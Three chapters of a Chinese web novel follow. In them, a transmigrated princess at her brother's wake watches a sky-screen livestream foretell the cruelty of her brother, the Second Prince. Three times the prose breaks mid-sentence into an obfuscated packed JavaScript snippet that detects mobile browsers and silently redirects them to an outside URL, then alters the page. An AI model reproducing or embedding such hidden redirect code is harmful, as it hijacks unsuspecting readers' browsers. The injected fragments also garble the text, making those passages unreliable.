《天幕剧透我是救世女帝》 1. 第 1 章 BY:晋江·丸二缘 大靖朝,泰和十八年。 寒冬腊月,北风呼啸,漫天飞雪与朱红宫墙交相辉映。 因着太子的意外暴毙,近些时日,宫中的气氛格外沉闷。 再加上今日还正好是太子的头七,宫中的太监奴婢们,一个个更是都谨小慎微,生怕在这关口触了哪位贵人的霉头,以至于自己小命不保。 因为太子走得实在突然,所以灵堂只好安排在他年少时曾经住过的东宫正殿。 此刻殿内白幡低垂,放眼望去,入目是一片压抑的素白。 太子那肃穆厚重的金丝楠木灵柩,就停放在灵堂的正中央。 早在刚才,文武百官就都已经祭奠完毕,依序退出东宫。 此刻灵堂之中,只剩下皇亲国戚还在按礼吊唁。 作为死者也就是太子的亲妹,殷宁此刻望着那气派非凡的棺木,心中颇有些复杂。 她那位往日气派无比的太子大哥,如今就静静地躺在里面,再也不会醒来。 她虽然和太子是同胞亲兄妹,但她过去和这位便宜大哥的关系,其实真的算不上多亲近。 毕竟,她和太子的年龄足足相差了18岁。 在她母后生下她的那一年,太子就已经搬到宫外的太子府去居住了。 而且,因着她父皇对后宫干政的忌惮,她这位便宜大哥生怕惹得她父皇不高兴,所以也很少会进宫看望她和母后,基本就是每月例行一次的请安,像是应付公事般,随后连饭都不吃,就要以公务繁忙为由而离开。 她之前甚至还听到她母后私下吐槽过,说她这位太子大哥简直是她父皇的应声虫。 别的皇子就算出宫立府了,也都会时不时送点东西进宫给老娘,但她这位便宜大哥却是一次都没有,完全就是把她父皇的想法放在第一位,生怕有半点做不好,惹得她父皇不满意。 可是,即使和太子这位亲哥哥关系生疏,殷宁也从没有想过,太子有一天会这么突然就去世。 尽管太医宣称太子是意外病亡,但殷宁却很清楚,他其实是被人给毒死的。 而且,凶手此刻就在灵堂内! 殷宁扫了一眼站在她父皇身后的二皇子和三皇子,目光中带着探究和打量。 根据她先前埋插在太子府中的钉子回报,太子暴毙这事的幕后真凶,就在二皇子和三皇子之间。 殷宁相信,只要再过些时日,她应该就能顺着她目前掌握的那条线索,抽丝剥茧,查出到底谁才是那个真正的凶手。 然而,就在殷宁打算收回自己的视线时,却正好对上了二皇子殷睿望过来的眼神。 殷宁与殷睿这位二哥向来不和,而殷睿此刻也正好心里很是忿忿不平,因为虽然太子死了,可还是没有多少朝臣愿意接受他私下的招揽。 所以,在无意间和殷宁对视上眼神后,想到殷宁如今已经没有太子这位亲哥可以做靠山,殷睿就直接冷哼了一声,朝殷宁质问道: “八妹,灵堂之上,你不好好祭奠咱们大哥,东张西望做什么?” 对于殷睿想要刁难自己的心思,殷宁当然很清楚。 注意到连她那便宜父皇也拧着眉朝她这边望了过来,殷宁神色不变,很是淡然地朝殷睿开口道: “二哥,你误会了,我不是在东张西望,我是想找出害死我大哥的凶手到底是谁。” 殷睿本来是想给殷宁扣个失礼的帽子,可听到殷宁这回答后,他直接吓得脸色一变,身体瞬间都紧绷了起来: “八妹,你这是什么意思?太医不都已经说过,太子他是因伤寒而病亡的吗?” 殷睿当然也知道太子的病有蹊跷,或者说,满朝文武谁不觉得太子的死有猫腻。 可没有人敢像殷宁她这样,直接就将这事给捅到明面上来。 殷宁没有理会殷睿装傻扮愣的话,她转头望向靖明帝,朝靖明帝说道: “父皇,女儿还是觉得大哥的死有些不对劲,恳请父皇彻查一番,为大哥讨回一个公道!” 到底是亲兄妹一场,如果有机会的话,殷宁还是希望能将杀死她大哥的凶手给绳之以法。 所以,她本来就打算近期找个机会,将这事给摆到台面上来。 刚才殷睿那么一说,正好就给了她这么一个筏子。 靖明帝此刻神色沉静,看不出什么情绪,他眸光深沉地看向殷宁: “那依你所言,应该如何彻查是好?” 听到靖明帝竟然接了殷宁的话,灵堂内一众皇子、公主及皇妃,瞬间视线都落到了殷宁的身上。 在这么多灼热目光的注视下,殷宁依然面不改色,她神情从容地开口道: “女儿认为,长幼有序,父皇可以先派人从二哥身上查起!” 听到殷宁这话,殷睿当即气得脸上表情都扭曲了一瞬。 如果不是因为有靖明帝在此,殷睿此刻简直就要气到当堂破口大骂,问问殷宁是不是把书都学到狗肚子里去了! 长幼有序是像殷宁这样用的吗?! 而殷宁在说完那番话后,似乎是还嫌殷睿不够憋屈,她又转头望向殷睿,淡定说道: “二哥,身正不怕影子斜,你应该也希望能够赶紧洗清自己身上的嫌疑吧?” 殷宁这话,直接就将殷睿给当场架住了。 如果殷睿拒绝殷宁的提议,那就显得他很心虚,旁人立刻就会认定他和太子的死脱不开关系。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17491278|202241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 但若是就这样答应殷宁的提议,殷睿又知道自己身上有太多的事情经不起查。 于是,刹那间的功夫,殷睿的后背尽是冷汗。 就连其他的皇子,也都忍不住屏息凝神,生怕自己会在这时惹了殷宁的眼,被殷宁这个“疯子”给拽进这场风暴中。 “殷宁,别胡闹了,让你大哥安静地走吧。” 靖明帝低沉的声音,打破了此刻灵堂中的寂静。 他望向殷宁说道,“我明白,你大哥的死让你很伤心,但这不是你现在胡闹的理由。你还是先去照顾好你母后吧。” 听到靖明帝这个答复,殷宁便知道他对太子的死因是什么态度了。 “是,女儿知错了。” 殷宁口中说着知错,但面上表情却很坚毅,显然是口不对心。 但在场众人,却没谁敢在这时挑她的错。 一方面,大家害怕殷宁再次大展神威,另一方面,则是因为众人都知道靖明帝平日里对殷宁这个女儿多有偏爱。 若是他们在此时对殷宁穷追猛打的话,那受斥的很可能不是殷宁,反而会是他们。 而且,想到太子已经身亡这件事,在场不少人更是忍不住在心中再次感到一阵窃喜。 毕竟,当朝皇后除了殷宁这个女儿外,也就只有太子这么一个嫡长子。 在太子还没去世之前,太子因着嫡长子的身份,在朝堂上颇有影响力,而殷宁在后宫中又格外受靖明帝这个父亲的宠溺。 可是,太子已经意外身亡,那么殷宁就算再受靖明帝偏疼,也不过是一介女流,他们根本无需再对殷宁心存忌惮。 在皇位之争中,皇后这一脉如今是彻底落败,未来等待着皇后和殷宁她们母女的,只会是“人为刀俎,我为鱼肉”的绝望结局。 作为两个孩子的母亲,许皇后本人显然也很清楚太子身亡带来的影响,所以打从得知太子的死讯后,她的眼泪就没有断过。 就算殷宁此刻走到她身边,再三宽慰她,她也依然痛哭不止。 这么多年的相处下来,殷宁是真的已经将许皇后视为了自己的母亲。 对于许皇后心中在担忧的事情,殷宁也很清楚。 所以,看到自家母后哭得如此悲伤,殷宁便想开口安慰她,让她不必如此惶恐不安,她们母女其实还远没到绝境的地步。 毕竟,她这些年靠着从一出生就绑定在她身上的宫斗系统,私下里搞了不少小动作,关键时刻保命还是不成问题的。 然而,还没等殷宁开口,一个小太监这时突然神色慌张地从外面冲进了灵堂之中,口中还惊恐地大喊着: “陛、陛下!出大事了!天、天象有异!天象有异!” 2. 第 2 章 BY:晋江·丸二缘 站在灵堂外,看着天空中的那半透明天幕,就连从现代穿过来的殷宁,也都忍不住感到一阵惊诧。 她原本以为自己穿越到古代,还被绑定了个宫斗系统这件事,就已经够离奇了,却没想到,竟然还会出现天幕直播间。 靖明帝他们看不懂那天幕上的画面内容,但拥有丰富现代生活经验的殷宁,在看到天幕的第一眼,立刻就明白这是个网络直播间的开播倒计时预告。 而距离直播间正式开播,仅剩一分多钟的时间。 不过,和殷宁这个重生者不同,靖明帝和许皇后这些真古人,此刻对于天幕这一闻所未闻的奇迹,却是无法做到淡然自若。 靖明帝神情紧绷,双眸紧紧地盯着那半透明天幕。 他往日对于神魔鬼怪,心中其实并不信服,但就在刚才,他却急声命人去把钦天监的监正喊过来。 而许皇后在看到靖明帝此刻的神态以后,她想到靖明帝刚才对太子死因按下不表的态度,心中突然间就起了个念头。 于是,她清了清嗓子,神态严肃地朝靖明帝说道: “陛下,您说,会不会霖儿他真的是含冤而死,所以这才在今日显灵喊冤?” 太子名叫殷霖,霖儿这个称呼是皇后在他还年幼时,为他起的小名。 而靖明帝听到皇后这个猜测后,瞬间就皱起了眉头。 若是在之前,他肯定会呵斥皇后,让皇后不要疑神疑鬼、胡说八道。 但眼下,天幕的出现,却是让他一时间有些束手无措。 殷宁知道天幕其实并非太子显灵,但她也看得出来,她母后是想要拿天幕借题发挥。 于是,她眉头微蹙,神态认真地朝靖明帝说道: “父皇,我看母后所言,并非空穴来风。民间一直有头七回魂的说法,今天正好又是大哥的头七,说不定大哥此刻就在咱们身边,正看着咱们呢。” 殷宁话音刚落,这时正好一阵冷风吹过,众人吓得都忍不住瑟缩了一下脖子,甚至有人吓得当场面色发白,嘴唇都开始颤抖了起来。 即使是向来稳重内敛的靖明帝,这个时候也是眉心紧拧,开始在心中思考,自己是否应该让人去彻查下太子身亡的真相。 不过,还没等靖明帝下定决心,天幕这时突然闪了一下,随后画面中就出现了一个齐耳短发女生的身影。 女生坐在黑色电竞椅上,她笑着望向镜头,打招呼道: “宝子们,让大家久等啦,我柳三柒又回来啦!” “咱们这一期要介绍的,是历史上大靖朝的第九任君王,也就是靖武帝这位传奇圣君!” 听到柳三柒这话,二皇子、三皇子这些之前还在为太子身亡而暗自窃喜过的人,一个个瞬间都惊得不由瞪大了眼睛。 第九任君王?靖武帝?传奇圣君? 此刻,众人心中都不约而同地冒出了一个猜测,觉得这骤然出现的天幕,似乎是在给他们预言未来?! 就连靖明帝,望向天幕上柳三柒的眼神,也瞬间充满了审视。 因为按照排序,他是大靖朝的第七任皇帝。 也就是说,天幕上提及的靖武帝,是在他之后的下下一任皇帝。 天幕上的柳三柒并不知道,她刚才那简短的两句话,给靖明帝等人带来了多大的冲击。 她望向镜头,语气轻松地说道: “有读过初中历史的宝子应该都知道,在靖武帝从靖厉帝殷睿手中接过皇位时,大靖朝其实已经是快要亡国了” “所以,今天在介绍我的偶像靖武帝之前,咱们必须先来盘一盘这位靖厉帝殷睿,到底有多“睿智”,才能够在继位不到七年的时间里,却差点败光他老子靖明帝传到他手里的江山!” “啧啧,每次我一想到殷睿这个‘牛掰’成就,我就由衷地明白为啥每次一有历史主播盘点历史上的最强败家子时,咱们的靖厉帝睿哥他永远都能‘金榜题名’‘名列前茅’啊!” 天幕下,靖明帝打从刚才听到柳三柒将殷睿称呼为厉帝时,就已经脸色一片铁青。 “厉”这个谥号,是再典型不过的恶谥。 自古以来,凡是获得这个谥号的君王,无一不是暴虐狠毒、导致百姓生灵涂炭的昏君。 所以,等再听到柳三柒后面那些话时,压抑不住此刻心中汹涌怒火的他,气得直接一脚狠狠踹翻了已经跪在他跟前的殷睿。 靖明帝这一脚没有丝毫留力,殷睿被他踹得当场忍不住惨叫了一声,嘴角更是瞬间流出了鲜血,似乎是伤到了内脏的模样。 然而,望着殷睿此刻那狼狈的模样,靖明帝不仅没有半点愧疚,相反,他看着殷睿的眼神,霎时间更是直接流露出了明晃晃的冰冷杀意。 殷睿无意间与靖明帝的视线对上,他瞬间被靖明帝此刻的目光吓得面色惨白如纸,原本还想要爬起来的身体,也彻底瘫软在了地上。 殷宁看着他那被吓得如鹌鹑般瑟瑟发抖的模样,脸上表情直接就露出毫不掩饰的鄙夷。 在场众人此刻看似低调,实际都在暗中眼观八方,自然也就都注意到了殷宁对殷睿的不屑。 但没有人对此感到诧异,因为在大家看来,殷宁向来就是这样直来直去、不加遮掩的性格。 天幕上,柳三柒看着镜头,继续说道: “一般而言,就算是再昏聩的君王,在上位初期,也都还是会勉强遮掩一下自己的真实性情,直到后期大权独握后,再彻底展露出自己的真实面孔。” “但是,咱们的靖厉帝睿哥,他作为史上顶级败家子,哪是一般人能相提并论的啊?” “于是,他在登基的头一个月,就直接搞出了轰动整个大靖朝的‘举目皆为惊惶客,满城尽是纱遮颜’名场面!” “考虑到咱们的历史书上没有提及这个典故,三柒我就和大家简单聊一下靖厉帝他到底干了什么令人发指的事情。” “相信很多宝子应该都听过‘人生有四喜’这么一个说法,这四喜分别就是久旱逢甘雨、他乡遇故知、洞房花烛夜、金榜题名时。”* “所以在古代时期,不少人家在订婚以后,如果男方年纪尚小,近几年又有打算应试赴考,那么婚事双方的家庭就会将成婚时间安排在男方科举之后,这样如果男方能够金榜题名的话,两家再办婚事,也就是喜上加喜,双喜临门了。” “程若萱和翁诚瑾他们这一对青梅竹马,也正是如此安排。而且翁诚瑾在殿试中虽然没能考中一甲前三名,但也名列二甲前排,可以说是取得了非常不错的成绩,堪称少年英才!” 天幕下,程家后院。 程若萱原本正在花园中和过来做客的堂姐妹们赏梅,天幕的突然出现自然是惊了她们姐妹几人一跳。 可让程若萱更意想不到的,是她竟然在柳三柒的口中听到了自己的名字。 如果光是自己的名字被提及,程若萱可能还会觉得是意外。 但当听到未婚夫翁诚瑾的名字时,程若萱心中就已然明白,天幕上的柳三柒此刻确实是在向大家预知她和翁诚瑾的未来。 听到翁诚瑾未来会在殿试中名列二甲前排这个消息,程若萱瞬间忍不住替翁诚瑾感到一阵高兴。 但下一秒,想到柳三柒刚才介绍说,她要给大家介绍靖厉帝做过哪些令人发指的事,程若萱澄澈的双眸中又不由浮现出了几分担忧。 此刻正在京郊紫阳书院备考的翁诚瑾,也和程若萱的心情一样复杂,甚至是有些忐忑不安。 蚍蜉撼大树,可笑不自量。* 翁诚瑾很清楚,如果贵为天子的靖厉帝真想要做什么事情的话,旁人根本没法和他抗衡。 翁诚瑾的同窗好友邵杭宇此刻也在翁诚瑾身边,注意到翁诚瑾的面色有些发白,他安抚地轻拍了拍翁诚瑾的肩头,但一时之间也不知该说什么是好。 天幕上,柳三柒这时接着说道: “在翁诚瑾考中进士以后,他自然也就开始筹备起自己和未婚妻程若萱的婚事。相识多年的两家人在商议过后,决定将婚期选在当年的深秋十月。然而,在这一年的九月,程若萱的父亲程善,却因为感染风寒而一病不起,并且病情一直不见好转。” 骤然听到程善这个熟悉的名字,靖明帝不由挑了下眉头。 此刻,朝中重臣都已经被靖明帝给重新喊了回来。 靖明帝直接就望向朝臣中一个身形清瘦、面色严峻的中年男子,朝他开口说道: “程御史,汝女名为程若萱?” 朝堂之上,只有一个程御史,那就是官至从五品监察御史的程善。 程善听到靖明帝朝自己发问,他从朝臣中走了出来,躬身朝靖明帝回道: “回禀圣上,臣家中独女确实名为程若萱,且已与国子监司业翁启大人之子翁诚瑾订下婚约。” 尽管朝臣们心中都早已有猜测,但亲耳从程善口中确认信息后,大家还是不免一片哗然。 就连殷宁,也都忍不住探究地看了一眼这位鬓角微霜的程善御史。 天幕上,柳三柒继续开口道: “程若萱和她父亲程善的关系极其要好,因为她自小丧母,而程善又一直没有续娶继室,程若萱可以说是她爹一手拉扯长大的孩子。正因此,程若萱在出嫁前,心中最放心不下的人,就是她爹了。” “现在她爹重病,她自然更是忧心无比,甚至还打算和未婚夫商量说推迟婚期。然而,她的这个想法,却是被程善给拦住了,因为程善认为那个婚期是近两年里最好的黄道吉日,他不希望自己耽误到女儿的婚事。” “不过,三柒我在想,会不会程善他拒绝女儿延迟婚事,其实也和他害怕自己之后骤然病逝的原因有关系。” “毕竟,就算是在此刻,咱们也依然有不少地方的民俗,是规定家中如果有长辈去世,那么子孙一年内都不宜成婚。而在程善他们那个时期,这种规定则是更加严格,要求父母去世后,子女需要守孝三年后,才可以进行婚嫁。” “程若萱那个时候是19岁,在古代已经属于是晚婚的年纪,如果再拖个三年的话,那她就得是21岁了。” 天幕下,程家院中。 程若萱原本心中就猜测,柳三柒在天幕上说的事情,可能是4年后的未来。 毕竟,她和翁诚瑾是在今年乡试秋闱之前订下的婚约,而翁诚瑾如今已经乡试中举,但因着翁诚瑾年纪尚轻,也和她一样才15岁,所以两家商议过后,决定让翁诚瑾放弃明年的京师春闱,再潜心学习四载时光,以便到时更加从容地上场赴试。 现在柳三柒又在天幕上直接提及了她当时的年龄,程若萱这下自然就更加确定,她父亲程善会在4年后染上一场重病。 想到父亲每次从府衙回来,都会在书房中办公到很晚才歇息,程若萱这一刻在心中下定了决心,打算之后一定要劝说父亲改变生活作息,绝不能让他再像之前那样糟蹋身体。 程若萱这边在想着父亲程善的身体健康,皇宫里的殷宁,此刻也忍不住看了一眼靖明帝那端正庄重的身影。 殷宁是以胎生的方式从现代重生到这个古代世界。 虽然她有时私下也会和许皇后吐槽靖明帝是个老古板,但殷宁不得不承认,靖明帝对她这个女儿其实很是宠爱,基本就没拒绝过几次她的要求。 这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17491279|202241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么多年的相处下来,殷宁对靖明帝这个皇帝爹的性格,已经是了解颇深。 所以,她很清楚,不到人生的最后一刻,她这个皇帝爹是不太可能将手中的权柄交出来。 而对于程若萱如今的年纪,殷宁心中也大致有数,毕竟程若萱之前跟着程善进宫参加过一次晚宴。 殷宁至今都还能记得,程若萱当时年纪虽小,但却已经能看出五官生得很是精致可爱,眉眼间颇有几分灵气。 殷宁在心中将程若萱现在的岁数和柳三柒在天幕上说的那些话一结合,她心中不由就沉了一沉。 “父皇,你以后可千万得注意休息,多保重身体,别真把自己的身体当铁打的啊!” 殷宁这句话一出,在场的皇子以及朝臣,瞬间都目光震惊又错愕地看向她。 此刻能够站在这里的人,就没有一个是傻子。 殷宁能够推测出靖明帝寿数无多的信息,其他的人自然也能,但没有一个人,敢像殷宁她这样,直接将这件事给挑破开来。 靖明帝这会儿的心情,也着实称不上是多轻松,毕竟任谁突然得知自己大概只有几年可活,那都开心不起来。 但是,看到殷宁那清澈双眸中对自己这个父亲的关心,靖明帝的心里,还是不由感到了几分熨帖。 他朝殷宁轻点了下头,“不用担心,朕的身体无碍,之后也会让太医院那边进献疗养身体的医方。” 因为亲眼目睹过先皇那嗑药修仙的疯魔样,靖明帝一直以来对药物都很是忌惮和厌恶,轻易不会服用药丸。 可如今,听了这天幕上柳三柒说的话,靖明帝觉得,自己还是该保养就适当保养吧,不能讳疾忌医。 看到靖明帝明显因为殷宁刚才的话,脸上神情松缓了一些,不少朝臣再次在心中提高了对殷宁这位八公主的重视程度。 不管是靖厉帝殷睿,还是那位身份不明的靖武帝,大家如今头顶都只有一位皇帝,那就是靖明帝。 所以,对朝臣们而言,及时了解靖明帝的喜恶变化,才是重中之重。 不过,这些都是那些想要进步的臣子的想法,程善此刻心中更在乎的,是他女儿程若萱未来的情况。 天幕上,柳三柒看着直播镜头,声音清晰地说道: “因为程善的劝阻,程若萱便没有延迟婚期,可程善之后的病情还是始终没有好转。程若萱在求医无门的情况下,便转而转向了烧香求佛,祈祷神明能够照拂她父亲,让她父亲早日康复。” “然而,也正是在一次去寺庙祈福的路上,程若萱无意间碰见了当时微服出行的靖厉帝。” “根据史书记载,靖厉帝当时看到程若萱的第一眼,就惊为天人,并且不顾程若萱及程家下人的阻止,强行将程若萱给劫掳进了宫中。” 天幕下,程善此刻气得双手紧握成拳,脸色铁青地怒瞪着已经重新跪在靖明帝身前不远处的殷睿。 程家后院,程若萱这会儿也是惊得小脸一片惨白,垂落在衣袖中的双手冷得微微发颤。 程若萱的大堂姐看到小堂妹被吓成这样,不由将她给搂进了怀抱中,轻声安慰着她,说这些都是还没发生的事,以后也绝不可能发生,因为有了天幕的提前预警,当今圣上是绝不可能再将皇位传给殷睿这样昏庸无能的废物。 天幕上,柳三柒说到这时,脸上表情也不禁浮现出了几分对靖厉帝的怒意: “程善和程若萱的未婚夫翁诚瑾在得知程若萱被靖厉帝掳进宫中的消息后,自然是急忙进宫,想要面见靖厉帝,恳求他放过婚约在身的程若萱。” “可惜,无论程善和翁诚瑾他们二人在宫殿外如何磕头求见,靖厉帝都始终没有出面。后面,靖厉帝甚至因为觉得他们在外面厉声呼喊的声音烦躁,想要让侍卫将他们给驱赶离开。” “然而,程善和翁诚瑾既然敢顶着压力进宫,就自然不可能轻易离开,于是,受靖厉帝指使的那些宫廷侍卫,就直接对着程善和翁诚瑾下了狠手。” “程善本就是重病缠身,再被那些五大三粗的侍卫一顿拳打脚踢,直接当场就丧了性命,魂断宫廷。而翁诚瑾一介文人,手无缚鸡之力,也是被打得半死,在家中躺了两个多月才下得来床。” “而更让翁诚瑾绝望的,是他在养好伤之后,才从父母那里得知,原来性情刚烈的程若萱,早在被靖厉帝掳进宫的当天,就因为不愿屈服靖厉帝的逼迫,直接在宫中撞柱自尽了。” 程善在听到自己身亡的消息时,尚且都还能抑制得住满腔沸腾的怒火。 可当他听到女儿程若萱竟被殷睿逼到撞柱自尽,他就再也忍不住了,他直接扑过去对着殷睿死命挥拳,将殷睿压在地上狂揍个不停。 殷睿虽说比人到中年的程善年轻不少,可他私下里沉湎酒色,身体早已是外强中干。 再加上程善这时候是怒火攻心,情绪格外激动,所以殷睿一时间竟被程善打得无力回击,只能抱头左右躲闪。 在场众人谁都没料到,当着靖明帝的面,程善竟然敢动手殴打殷睿这个二皇子。 所以,一时间,大家竟都看得楞住了。 看到殷睿没一会儿就被程善打得鼻青脸肿,殷宁转头和身旁的许皇后对视了一眼,两人眼眸中此刻都充满了看热闹的笑意。 尤其是许皇后,自打太子骤然病死以后,她心中对其余的皇子更是恨得咬牙切齿,觉得他们每一个都可能是杀害太子的真凶。 对于往日里像是跳蚤一样蹦跶个不停的殷睿,她更是早就厌恶到极点,觉得殷睿着实是面目可憎。 所以,眼下看到殷睿被程善像是痛打落水狗一样狂揍,许皇后甚至忍不住在心中给程善拍手叫好。 3. 第 3 章 BY:晋江·丸二缘 和看热闹不嫌事大的许皇后不同,靖明帝向来讲究体面,所以,他自然是无法接受这样的打斗再继续。 于是,两个身材彪壮的御前侍卫一个用力,直接就将撕扯在一起的程善和殷睿给分了开来。 程善是真的恨极了殷睿,即使知道御前侍卫是受靖明帝的命令行事,他还是试图再朝殷睿猛力挥拳,吓得殷睿急忙躲到另一个御前侍卫的身后。 殷宁看到殷睿那副吓破胆的模样,直接就翻了个大大的白眼,声音充满鄙夷地道: “真是丢人到没眼看,简直就是烂怂货一个!” 殷宁说话时没有刻意压低嗓音,众人瞬间就都听到了她对殷睿的吐槽。 而她对殷睿的评价,事实上也正好说出了此刻在场人的心声。 就连靖明帝,这会儿心中其实也都丢脸到恨不能立即和殷睿断绝父子关系。 他觉得有殷睿这么一个儿子,实在是有损他一世英名。 不过,他这些想法都并没有表露在明面上,他神色沉稳地抬手挥了挥,示意两个御前侍卫将程善和殷睿给各拉到一边去。 而就在现场短暂安静的这一刻,众人清晰地听到了天幕上柳三柒传来的声音: “一日之间,自己的青梅未婚妻和准岳父都因为靖厉帝而身亡,这自然是让翁诚瑾恨极了靖厉帝这么个色令智昏的暴君。虽说有句谚语叫‘秀才造反,十年不成’,但好在,咱们的翁诚瑾老祖宗他并非秀才,而是进士。” “于是,他在心中默默下定了一个决心,他要刺杀靖厉帝,用靖厉帝的鲜血来祭奠九泉之下枉死的程若萱和程善!” 柳三柒说这话时,脸上表情充满着对翁诚瑾的敬佩,然而她这番剧透却是给天幕下的众人带来了一波强烈震撼。 天幕下,原本还在对殷睿怒目瞪视的程善,听到柳三柒这话后,瞬间满目惊诧地抬头望向天幕。 程善没有料到,性情向来温和的翁诚瑾,竟然会做出刺杀皇帝这样胆大包天的事情。 程善的心,一瞬间被高高地提在了半空中,他甚至紧张到都忘记了呼吸。 “事以密成,言以泄败。”* 天幕上,柳三柒看着镜头说道: “一般而言,像是要刺杀皇帝这样惊天动地的大事,大家事前都会瞒得密不透风。” “但是,翁诚瑾他知道自己的行为,很可能会牵连到自己的父母以及程家其他几房的人。于是,他挑了个合适的时机,将几家人都聚到了一起,并且将自己的计划告知给了所有人。” “翁诚瑾的这个念头,自然把大家都吓得不轻,但面对惊诧不已的众人,翁诚瑾却告诉大家,说如果有人想要去向靖厉帝揭发他这个行为的话,可以立刻就去检举,他并不会介意,因为这是大家合情合理的选择。但如果没有人想要揭发他的话,那么大家就得考虑尽快秘密离开京师,免得事发之后被他给牵连受罪。” “很神奇的是,得知翁诚瑾计划的所有人,没有一个想要揭发和阻挠翁诚瑾。因为大家也同样对程若萱和程善的死感到极其悲愤。然而,对于翁诚瑾让大家离开京师的建议,众人也并不打算遵循,因为他们想要和翁诚瑾共进退,同生死。” “于是,在那么一个平凡的早朝,当太监宣布说退朝时,站在朝臣队列中的翁诚瑾,抓住机会就猛冲向靖厉帝,他手中的匕首当时甚至都已经划破了靖厉帝身上的龙袍,然而,因为侍卫救驾及时,翁诚瑾的刺杀最终还是失败了。” “面对翁诚瑾这么一个小官的刺杀,靖厉帝自然是当场暴怒到了极点,直接就下令要将翁诚瑾给千刀万剐。” 天幕下,程家后院。 程若萱早在刚才听到柳三柒说翁诚瑾计划刺杀靖厉帝时,眼眶就忍不住再次湿润。 她先前在得知她父亲程善竟为了救她而被靖厉帝的侍卫下狠手打死时,心中就已经是悲愤到了极点,恨不能可以将靖厉帝给生吞活剥了。 可是,她并不希望翁诚瑾再继续牵扯进她的的事情中。 她很明白,若是仅凭翁诚瑾一人之力去对抗靖厉帝,那完全就是螳臂当车、自寻死路。 所以,在听到翁诚瑾想要刺杀靖厉帝的事情以后,她心中就已经知道了翁诚瑾的结局。 毕竟,柳三柒刚才在最开始时,就已经提过,靖厉帝的统治维持了将近七年的时间。 而柳三柒此刻在天幕上剧透的事情,都是发生在靖厉帝登基的第一年里。 不过,尽管心中对翁诚瑾刺杀失败的结局早有预料,但听到靖厉帝下令让人将翁诚瑾给千刀万剐时,程若萱还是瞬间感觉心脏像是被一只铁钳般的大手给猛然攥紧,难受到她甚至觉得呼吸都有点喘不上来。 “然而,靖厉帝想要活剐翁诚瑾的这个想法,注定是要落空。因为翁诚瑾早在进宫之前,就没想着自己能够活着回去,所以他事先就已经服下了毒药。” “折磨不了翁诚瑾的靖厉帝,自然更是暴怒到了极点,于是,他就想将自己的怒火发泄到翁诚瑾的双亲以及程家其他几房的人身上。” “不过,当宫中的侍卫声势浩荡地打算将人给抓捕回宫时,却又再次白费功夫,扑了个空。” “原来,靖武帝事先察觉到了翁诚瑾想要刺杀靖厉帝的打算,便在翁诚瑾进宫后,让人将翁诚瑾他父母以及程家那些想要和翁诚瑾一起共赴黄泉的人,全都打晕加打包带离了京师。” “所以就算靖厉帝当时将整个京师翻了个底朝天,也依然是半点收获都没有,只能在宫中无能狂怒,气得跳脚。” 因为柳三柒是采取直播的形式,所以一直以来,天幕下的人都是只能听到她说话的声音。 不过,直播间里不时闪过的弹幕,大家却是能看得到文字内容,而且还都能无师自通。 刚才靖武帝没出场时,直播间里的弹幕其实有些稀疏,但当柳三柒提及靖武帝以后,天幕上的弹幕数量瞬间就变得活跃了起来: 【哈哈哈哈哈哈哈,关键时刻,你可以永远相信我们那迷人又牛掰的老祖宗靖武帝!】 【太对了!我之前看大靖朝的历史剧时,无论发生多么困难的事情,只要看到我靖武帝大大出场,我那颗扑通狂跳的小心脏立刻就安稳了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17491280|202241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 】 【虽然我之前没了解过这个事件,但这确实也是靖武帝做得出来的事情】 【啧啧,人和人的差距怎么能那么大啊?我感觉靖武帝和靖厉帝的差距,简直比人和猪的差距还大!】 …… 天幕下,看着那些夸赞靖武帝的后人言论,尽管程若萱和翁诚瑾此刻并非身处同地,但俩人却是都不约而同地松了一大口气。 程若萱的大堂姐看到程若萱一直紧绷的小脸,终于表情有所缓和,她用手指轻点了一下程若萱的鼻尖,故意逗她开心道: “怎么,我们想陪你一起共赴黄泉,你还不乐意呀?” 程若萱看自家大堂姐还有心思拿这事开玩笑,她撇了撇嘴,朝大堂姐反对道: “我乐意什么呀,你们大家都好好活着,这才是我最高兴的事情!” 而此刻在书院中的翁诚瑾,此刻也在和邵杭宇这个同窗好友感慨道: “真是幸好有靖武帝出手帮忙,难怪柳三柒小姐和那些后世人,都会那么敬佩靖武帝!” 经过刚才天幕上透露出来的信息,翁诚瑾如今已经差不多猜到,柳三柒和那些发弹幕的人,都是生活在距离他们这个朝代很久很久的后世。 此刻翁诚瑾的身边,就只有邵杭宇这位自幼相识的同窗好友。 所以,听到翁诚瑾这句感慨后,邵杭宇反而是叹了口气: 